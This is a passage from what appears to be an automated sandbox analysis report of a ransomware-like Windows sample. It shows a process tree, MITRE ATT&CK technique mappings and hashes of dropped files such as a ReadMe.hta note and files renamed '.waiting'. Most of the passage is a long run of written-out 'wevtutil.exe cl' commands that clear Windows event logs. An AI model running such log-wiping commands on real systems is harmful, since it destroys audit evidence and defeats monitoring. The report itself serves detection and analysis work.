    wevtutil.exe cl "Microsoft-Windows-System-Profile-HardwareId/Diagnostic"
    3⤵
    PID:1700
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemSettingsHandlers/Debug"
    3⤵
    PID:4776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemSettingsThreshold/Debug"
    3⤵
    PID:3028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemSettingsThreshold/Diagnostic"
    3⤵
    PID:6504
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemSettingsThreshold/Operational"
    3⤵
    PID:7120
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TCPIP/Diagnostic"
    3⤵
    PID:5812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TCPIP/Operational"
    3⤵
    PID:1184
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msctf/Debug"
    3⤵
    PID:7808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msctf/Diagnostic"
    3⤵
    PID:5136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msutb/Debug"
    3⤵
    PID:5796
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msutb/Diagnostic"
    3⤵
    PID:5092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TTS/Diagnostic"
    3⤵
    PID:8188
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TWinAPI/Diagnostic"
    3⤵
    PID:2004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TWinUI/Diagnostic"
    3⤵
    PID:5264
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TWinUI/Operational"
    3⤵
    PID:7888
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TZSync/Analytic"
    3⤵
    PID:6024
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TZSync/Operational"
    3⤵
    PID:6656
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TZUtil/Operational"
    3⤵
    PID:6956
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Debug"
    3⤵
    PID:7484
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Diagnostic"
    3⤵
    PID:7280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Maintenance"
    3⤵
    PID:5640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Operational"
    3⤵
    PID:5424
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskbarCPL/Diagnostic"
    3⤵
    PID:6776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Admin"
    3⤵
    PID:4004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Analytic"
    3⤵
    PID:4452
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Debug"
    3⤵
    PID:6680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Operational"
    3⤵
    PID:3120
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin"
    3⤵
    PID:7864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Analytic"
    3⤵
    PID:6552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Debug"
    3⤵
    PID:6160
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
    3⤵
    PID:4864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-MediaRedirection/Analytic"
    3⤵
    PID:7876
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin"
    3⤵
    PID:4924
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Analytic"
    3⤵
    PID:7956
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Debug"
    3⤵
    PID:7908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational"
    3⤵
    PID:7288
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-Printers/Admin"
    3⤵
    PID:7344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-Printers/Analytic"
    3⤵
    PID:7068
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-Printers/Debug"
    3⤵
    PID:7860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-Printers/Operational"
    3⤵
    PID:6328
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Analytic"
    3⤵
    PID:920
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Debug"
    3⤵
    PID:7368
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational"
    3⤵
    PID:5936
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Capture"
    3⤵
    PID:4132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Playback"
    3⤵
    PID:1512
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin"
    3⤵
    PID:5468
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Analytic"
    3⤵
    PID:7788
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Debug"
    3⤵
    PID:1076
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
    3⤵
    PID:7936
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Admin"
    3⤵
    PID:736
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Analytic"
    3⤵
    PID:7704
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Debug"
    3⤵
    PID:7776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Operational"
    3⤵
    - Clears Windows event logs
    PID:7336
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Tethering-Manager/Analytic"
    3⤵
    PID:5528
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Tethering-Station/Analytic"
    3⤵
    PID:4304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ThemeCPL/Diagnostic"
    3⤵
    PID:6176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ThemeUI/Diagnostic"
    3⤵
    PID:1776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Threat-Intelligence/Analytic"
    3⤵
    PID:2844
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Time-Service-PTP-Provider/PTP-Operational"
    3⤵
    PID:5620
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Time-Service/Operational"
    3⤵
    PID:1692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Troubleshooting-Recommended/Admin"
    3⤵
    PID:5984
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Troubleshooting-Recommended/Operational"
    3⤵
    PID:8100
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TunnelDriver"
    3⤵
    PID:1152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UAC-FileVirtualization/Operational"
    3⤵
    PID:2932
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UAC/Operational"
    3⤵
    PID:3804
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UI-Shell/Diagnostic"
    3⤵
    PID:5972
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAnimation/Diagnostic"
    3⤵
    PID:5748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Debug"
    3⤵
    PID:5800
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Diagnostic"
    3⤵
    PID:7848
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Perf"
    3⤵
    PID:556
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIRibbon/Diagnostic"
    3⤵
    PID:8156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-MAUSBHOST-Analytic"
    3⤵
    PID:5308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-UCX-Analytic"
    3⤵
    PID:2920
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBHUB/Diagnostic"
    3⤵
    PID:3200
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBHUB3-Analytic"
    3⤵
    PID:1028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBPORT/Diagnostic"
    3⤵
    PID:2664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBXHCI-Analytic"
    3⤵
    PID:7084
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBXHCI-Trustlet-Analytic"
    3⤵
    PID:4412
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UniversalTelemetryClient/Operational"
    3⤵
    PID:7132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel Performance/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:7312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel Usage/Diagnostic"
    3⤵
    PID:3824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel/Diagnostic"
    3⤵
    PID:7696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel/Operational"
    3⤵
    PID:3696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Device Registration/Admin"
    3⤵
    PID:7220
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Device Registration/Debug"
    3⤵
    PID:6312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Profile Service/Diagnostic"
    3⤵
    PID:1260
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Profile Service/Operational"
    3⤵
    PID:2452
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User-Loader/Analytic"
    3⤵
    PID:2376
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User-Loader/Operational"
    3⤵
    PID:7536
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserAccountControl/Diagnostic"
    3⤵
    PID:4176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserModePowerService/Diagnostic"
    3⤵
    PID:1920
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/ActionCenter"
    3⤵
    PID:7912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/DeviceInstall"
    3⤵
    PID:8052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/DeviceMetadata/Debug"
    3⤵
    PID:5964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/Performance"
    3⤵
    PID:1760
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/SchedulerOperations"
    3⤵
    PID:4664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UxInit/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:5544
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UxTheme/Diagnostic"
    3⤵
    PID:6728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VAN/Diagnostic"
    3⤵
    PID:1900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VDRVROOT/Operational"
    3⤵
    PID:5712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VHDMP-Analytic"
    3⤵
    PID:3516
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VHDMP-Operational"
    3⤵
    PID:6556
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VIRTDISK-Analytic"
    3⤵
    PID:5476
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VPN-Client/Operational"
    3⤵
    PID:1056
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VPN/Operational"
    3⤵
    PID:6968
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VWiFi/Diagnostic"
    3⤵
    PID:6136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VerifyHardwareSecurity/Admin"
    3⤵
    PID:7884
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VerifyHardwareSecurity/Operational"
    3⤵
    PID:6072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Volume/Diagnostic"
    3⤵
    PID:7492
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VolumeControl/Performance"
    3⤵
    PID:6824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VolumeSnapshot-Driver/Analytic"
    3⤵
    PID:5236
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VolumeSnapshot-Driver/Operational"
    3⤵
    PID:7300
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WABSyncProvider/Analytic"
    3⤵
    - Clears Windows event logs
    PID:6248
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WCN-Config-Registrar/Diagnostic"
    3⤵
    PID:6924
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WCNWiz/Analytic"
    3⤵
    PID:3172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WEPHOSTSVC/Operational"
    3⤵
    PID:6040
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WER-PayloadHealth/Operational"
    3⤵
    PID:8172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WFP/Analytic"
    3⤵
    PID:7452
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WFP/Operational"
    3⤵
    PID:5312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WLAN-AutoConfig/Operational"
    3⤵
    PID:5228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WLAN-Autoconfig/Diagnostic"
    3⤵
    PID:6636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WLAN-Driver/Analytic"
    3⤵
    PID:6252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WLAN-MediaManager/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:7096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WLANConnectionFlow/Diagnostic"
    3⤵
    PID:6172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMI-Activity/Debug"
    3⤵
    PID:5296
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMI-Activity/Operational"
    3⤵
    PID:4684
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMI-Activity/Trace"
    3⤵
    PID:7228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPDMCUI/Diagnostic"
    3⤵
    PID:6664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPNSS-PublicAPI/Diagnostic"
    3⤵
    PID:1892
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPNSS-Service/Diagnostic"
    3⤵
    PID:6028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPNSS-Service/Operational"
    3⤵
    PID:1848
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPNSSUI/Diagnostic"
    3⤵
    PID:5740
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-API/Analytic"
    3⤵
    PID:5780
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Analytic"
    3⤵
    PID:3976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Operational"
    3⤵
    PID:3096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Analytic"
    3⤵
    - Clears Windows event logs
    PID:8044
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Operational"
    3⤵
    PID:2168
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-MTPBT/Analytic"
    3⤵
    PID:6460
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-MTPClassDriver/Analytic"
    3⤵
    PID:7224
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
  2⤵
  PID:5292
- C:\Windows\system32\wbem\wmiprvse.exe
  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
  2⤵
  PID:6332
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:3408
- C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
  C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
  2⤵
  PID:5652
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
  2⤵
  PID:8016

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:3232
- C:\Users\Admin\AppData\Local\Temp\Red-Flaged\d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
  "C:\Users\Admin\AppData\Local\Temp\Red-Flaged\d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe"
  2⤵
  - Adds Run key to start application
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2832

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv UOrLwRm8q06FJftDJD9FNg.0.2
1⤵
PID:5604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Windows Credential Manager

T1555.004

Discovery

Browser Information Discovery

T1217

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

ReadMe.hta

Path C:\$Recycle.Bin\ReadMe.hta
Size 11KB
SHA256 803d8451c1110ee7d59834ca2a62008f11c60da8e30a6455b9106269fc3f1ddc
MD5 9c8ff0020057b5a21a72c74c6b387ca4
SHA1 331188cef32140544aa7e8c84e91a9ed1a726af8
SHA512 e3949134c2144a60a5c84096e88728e7c9f5921ae681e7b98b8d7e6bb90484b4aa9a9265d52e90ac3bc90921d9eb7661b4b33ed09e346aefa788e135cb751770
SSDEEP 192:M3mZxU1UPRHPEXyBYet2yXTWXnhLxmoLlfzfM8uaG3UN7tMs+OqdOgzjLPFVo:M1MRECCy+nZLlJdGEN7tMbNvdVo
TLSH
T193326C7776530022EF47CCE3B63AA70039A1C91ED0D38E548BAC01D86ADC907FA1E75A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

desktop.ini

Path C:\$Recycle.Bin\S-1-5-21-2370214745-1838013427-2987045292-1000\desktop.ini
Size 1KB
SHA256 da87e12b5c2c770d0ecfa92c64361ad78afec8f2a67a06fce31c539984adbd00
MD5 ba5d7250ee3a406f05bab87204670d62
SHA1 a0207e79111711026af496ec2e62ae9ecd6cac9c
SHA512 bd480a50272096a93222f4cf91ff5375e8002e1233ccc33a270ab6aa60d394ecf0ffb54f1a2322b66a7a49e8373c88309f83ab3747321212a8ced947db317618
TLSH
T19831FA997629016B23F4CEE1D385B0B97B84B58B7621A967626485BC9240337977023F
MD5 SHA1 SHA512 TLSH

Submit Download

EmbeddedBrowserWebView.dll MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\EBWebView\x64\EmbeddedBrowserWebView.dll MLLUKULZ5.waiting
Size 5.2MB
SHA256 fe2c6cbf25b7c2e9130c28584bf2403ea1cfa18c882357bef5e4ba7896e6298b
MD5 309916193d6b2c9cdb5da0f280dfaf5c
SHA1 699911eb96984cc8be03c50fd1d85a5b3da50d53
SHA512 1d55c22899dc7cf3ce69da8ea51730a4ab96c227250e368e83ab623db25a51f2a56d9ba23928b6ca4dd600edc67f02d95fc5bf209a42a31320d4b19a50634703
SSDEEP 49152:yEjVQWuuRd0Vy88tCa03cEqtp+S64Z1cFEIZ7FmfDnd4dVRAyUDHXuR1C9dQGzds:ons0VyVC+OP/FSB6gMSeefy8gs5vZ6v
TLSH
T16A466903F69A80A5D058D178CF678625EBA27C890BF162EF225076E52E73FD47B39710
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qu.pak MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\qu.pak MLLUKULZ5.waiting
Size 1.1MB
SHA256 61762155e195b531fa84519af008d35080cf33f784b3e1e36479098212a632f8
MD5 aec43497cde8eece12fc290604803d8c
SHA1 12b7c647bab98fa803bf5c6f6a25c4012bb8d229
SHA512 0d94abe812a7c1de4f83b6514a42cc5ed870760d7aaee57acca7733eee18406af964bbb56c67a409e860b5fba0ce8f9f6418a848c929f6ea79cd9db29d511296
SSDEEP 24576:gffF8HW6DxL2tpAlokW5wwtWonUVh06P+daR0mo0xV4F:glF6DUt8VW5PJnVXaR0Gs
TLSH
T1883513A429D641497E6027C702EC9C6720F5B2353CA4FCE7EC394B6C5B5A8DAF191E07
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sv.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\sv.pak
Size 1001KB
SHA256 8b9d48d1b8bd7dcf8e3bdf7b912f4e4277d4670c4004465485b9751ec46558d5
MD5 912f71c7d821d02da61e88f215ce2ec6
SHA1 e50a308b2116fd2681b8241fedd6553811840a46
SHA512 558454ea4ce620ff68ff4969d9b73286fcc34247f7577ee9a24efb833c4ffe676cdf7dd2a9269dc1c60241e41fee89ddcd6c0f3bc142c5dbc75e490eb035e201
SSDEEP 24576:qH/AboAp6Dd65bwNStULZSp6Y5lAhTLA+Pwpna8OAB:Mcx6pQsNStULZSp3bAhXA2wkAB
TLSH
T1072533812ADD0EC552264BCC73EA230404B85266BBBAA56BFF74450DE1D0DE99CF34B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ta.pak MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\ta.pak MLLUKULZ5.waiting
Size 2.5MB
SHA256 4dbf15baf8c577894375f90941a55476a842f47bc666eb62e66c880eed3992bc
MD5 42b1612186b01a958ea994a5d21c07ab
SHA1 353c86c762c56863fa4f70ec549a18524e1ae6bb
SHA512 9e4917d45bbb2a04c3a1f3583d87b05ebbf4cc091c4b68e446d7acd4ca5a92f12f4b8bfc1cfc1f1d942be8e52e7e3c3626e40d0cd0c794feff29e435d05e1d46
SSDEEP 24576:oM5m8BCTaxDakRXD7DKxcEH0M+zc2w99rTzuwvwcgUE:okBjQkRXmH0Mej4pnuw2UE
TLSH
T1B4C56BCE923EEE890F93288F0318536912986255C47BE3A67C765E1198ECC5DDF3427E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tr.pak MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\tr.pak MLLUKULZ5.waiting
Size 1.0MB
SHA256 b3b0cd9e290996fcc479c370d1fe89d2ac981a3fc70152d464e184f68dc6b91b
MD5 a419569031f5f6bbd18a3b97518ea850
SHA1 66c82bbd050aa9cf5b222f4f3cad1db89f59c7cb
SHA512 47c9f7fa8d57d807b410face659d2072e56063a92ca6f120d0bd408719dcbfe16096ba96cc652d8eb61f09096c36d697fc58e1da84aff122c8aa52ee9180f8c5
SSDEEP 24576:wFRtDO8I+uv+7t7GqNtFMKfu378yMSnXOzq4NSYQ4QUtGgT:w157HdG37tMSGSYRGgT
TLSH
T17835238078E9A41D51B57A8AE0C65F32F99F03B75330F886E929821B365FBA707D750C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\LICENSE MLLUKULZ5.waiting
Size 35KB
SHA256 f0275c8866a287172e380b62fbd1187977b041e76e40d499ff688e90cf738771
MD5 18106042e34f7bc7b4e3ceaf568976e6
SHA1 5d59526b587c0bf82a4bc2d5076fc8992d5f9102
SHA512 7c5888103d56ef4619d32643fd1ac9ed617965ccb907f3009039c2cbcecd998dd19b1948b60faa0be37be99342b4b471a1b9a071e69aa14f6eefd9178e7bc766
SSDEEP 768:6Fzp4aDpe5RGfmBDSv3eboYRFycyVltUotgKIeqnkaz:6vHDw5RGfmB2vfYR2ltUW7onkaz
TLSH
T157F2F2FB088D7D3818B5CF6969E5B1A7724606DC0426342813EED4EECD93BF822D461E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Social MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Mu\Social MLLUKULZ5.waiting
Size 1KB
SHA256 d3fcb1bfc77c177da57114e115e59d8e3ac905432c29e70912fee6f8c6ceb8c1
